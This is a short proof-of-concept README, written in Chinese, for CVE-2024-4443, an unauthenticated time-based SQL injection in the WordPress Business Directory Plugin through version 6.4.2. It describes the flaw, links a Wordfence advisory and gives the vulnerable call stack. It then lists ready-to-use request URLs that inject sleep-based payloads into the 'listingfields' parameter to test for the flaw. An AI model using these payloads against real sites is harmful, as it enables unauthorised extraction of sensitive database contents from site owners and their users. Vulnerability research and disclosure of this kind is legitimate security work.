CVE-2024-4443-Poc

CVE-2024-4443 Business Directory Plugin – Easy Listing Directories for WordPress <= 6.4.2 - 通过listingfields参数未经身份验证的SQL注入

描述

WordPress的Business Directory Plugin – Easy Listing Directories for WordPress插件在所有版本中，包括6.4.2，存在基于时间的SQL注入漏洞，漏洞位于'listingfields'参数。原因是对用户提供的参数转义不足，并且对现有SQL查询的准备不充分。这使得未经身份验证的攻击者能够将额外的SQL查询附加到已有的查询中，从而提取数据库中的敏感信息。

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/business-directory-plugin/business-directory-plugin-easy-listing-directories-for-wordpress-642-unauthenticated-sql-injection-via-listingfields-parameter

调用栈

WPBDP__Listing_Search->execute (\business-directory-plugin\includes\helpers\class-listing-search.php:88)
WPBDP__Listing_Search->_traverse_tree (\business-directory-plugin\includes\helpers\class-listing-search.php:185)
WPBDP__Listing_Search->__construct (\business-directory-plugin\includes\helpers\class-listing-search.php:35)
WPBDP__Listing_Search::parse_request (\business-directory-plugin\includes\helpers\class-listing-search.php:214)
WPBDP__Listing_Search::from_request (\business-directory-plugin\includes\helpers\class-listing-search.php:210)
WPBDP__Views__Search->dispatch (\business-directory-plugin\includes\controllers\pages\class-search.php:54)

PoC

URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[{{Injection payload}}][1]=

正常URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[1]=

错误payload URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1=0,5,0))+))--+-][1]=

正确payload URL: <Host>/business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1=1,5,0))+))--+-][1]=